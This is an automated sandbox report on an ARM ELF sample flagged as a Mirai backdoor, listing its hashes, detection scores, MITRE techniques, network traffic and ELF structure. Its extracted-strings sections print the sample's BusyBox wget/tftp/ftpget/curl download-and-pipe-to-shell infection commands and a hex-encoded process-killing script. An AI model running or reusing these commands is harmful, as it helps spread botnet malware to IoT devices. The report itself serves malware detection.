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Linux Analysis Report
splarm6.elf

Overview

General Information

Sample name:	splarm6.elf
Analysis ID:	1580215
MD5:	fa07dc5937a0f1b7195d9e23661950a0
SHA1:	dd83b10889d10fdf4e6b15776fe3a0481d7b574d
SHA256:	b6322b22ef45b76dc832337b20a92496d71cecfed0bd4f4303bab5f167efd627
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580215
Start date and time:	2024-12-24 04:28:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm6.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/splarm6.elf
PID:	5512
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

splarm6.elf (PID: 5512, Parent: 5432, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm6.elf

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: splarm6.elf	String found in binary or memory: http:///curl.sh
Source: splarm6.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@2/0

Source: /tmp/splarm6.elf (PID: 5512)

Queries kernel information via 'uname':

Jump to behavior

Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm6.elf
Source: splarm6.elf, 5512.1.000055ceb0de5000.000055ceb0f13000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm6.elf, 5512.1.000055ceb0de5000.000055ceb0f13000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: splarm6.elf, 5512.1.00007fff87242000.00007fff87263000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
splarm6.elf	32%	Virustotal		Browse
splarm6.elf	37%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm6.elf	false		high
http:///curl.sh	splarm6.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	zerppc.elf	Get hash	malicious	Unknown	Browse
	zerarm5.elf	Get hash	malicious	Unknown	Browse
	zermips.elf	Get hash	malicious	Unknown	Browse
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	sh4.nn.elf	Get hash	malicious	Okiru	Browse
	jackmymips64.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm5.nn.elf	Get hash	malicious	Okiru	Browse
	arm.nn-20241223-1416.elf	Get hash	malicious	Okiru	Browse
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	vlxx.mpsl.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	jklarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	arm6.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mipsel.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jackmyi686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	jackmyarmv5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	nabarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zerppc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zerarm5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zermips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zerm68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zerarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	armv4eb.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	tftp.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	91.189.91.42

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.059167537487953
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm6.elf
File size:	72'288 bytes
MD5:	fa07dc5937a0f1b7195d9e23661950a0
SHA1:	dd83b10889d10fdf4e6b15776fe3a0481d7b574d
SHA256:	b6322b22ef45b76dc832337b20a92496d71cecfed0bd4f4303bab5f167efd627
SHA512:	412ea385dbb4c94a7e5d0718f7f50146e64090db7c736cacc012e33c631cce0c73f5aaec844a8f496b45060d40224a29629aad32e96c06fa8b6a4af99ad8ffb4
SSDEEP:	1536:gNn+gNRrTYqlObH1VJLqcce0YN8GS6JZ3UMriPGcHRd0eT3bsR:4/YjVVJOU068jGcHRd0eT3
TLSH:	D763E746BC918A65D5D852BEFA1E11CD331317B8E3EF72139D106F247B8A82B0D3B946
File Content Preview:	.ELF..............(.....T...4...X.......4. ...(.....................................................8...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	71768
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1061c	0x0	0x6	AX	16
.fini	PROGBITS	0x186cc	0x106cc	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x186dc	0x106dc	0xecc	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x215ac	0x115b0	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x215b0	0x115b4	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x215b4	0x115b8	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x215b8	0x115bc	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x2162c	0x11630	0x1b4	0x0	0x3	WA	4
.bss	NOBITS	0x217e0	0x117e4	0x346c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x117e4	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x117f4	0x62	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x115a8	0x115a8	6.0857	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x115ac	0x215ac	0x215a8	0x238	0xb6a0	2.3595	0x6	RW	0x8000	.init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 04:30:00.136934042 CET	46540	443	192.168.2.14	185.125.190.26
Dec 24, 2024 04:30:30.343786955 CET	46540	443	192.168.2.14	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 04:29:50.144259930 CET	37145	53	192.168.2.14	8.8.8.8
Dec 24, 2024 04:29:50.144259930 CET	51657	53	192.168.2.14	8.8.8.8
Dec 24, 2024 04:29:50.266726971 CET	53	37145	8.8.8.8	192.168.2.14
Dec 24, 2024 04:29:50.266758919 CET	53	51657	8.8.8.8	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:29:50.144259930 CET	192.168.2.14	8.8.8.8	0xf95d	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:29:50.144259930 CET	192.168.2.14	8.8.8.8	0xe68c	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:29:50.266726971 CET	8.8.8.8	192.168.2.14	0xf95d	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:29:50.266726971 CET	8.8.8.8	192.168.2.14	0xf95d	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: splarm6.elf PID: 5512, Parent PID: 5432

General

Start time (UTC):	03:29:48
Start date (UTC):	24/12/2024
Path:	/tmp/splarm6.elf
Arguments:	/tmp/splarm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: splarm6.elf	Virustotal: Detection: 32%			Perma Link
Source: splarm6.elf	ReversingLabs: Detection: 36%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report splarm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: splarm6.elf PID: 5512, Parent PID: 5432

General

Chronological Activities

Linux Analysis Report
splarm6.elf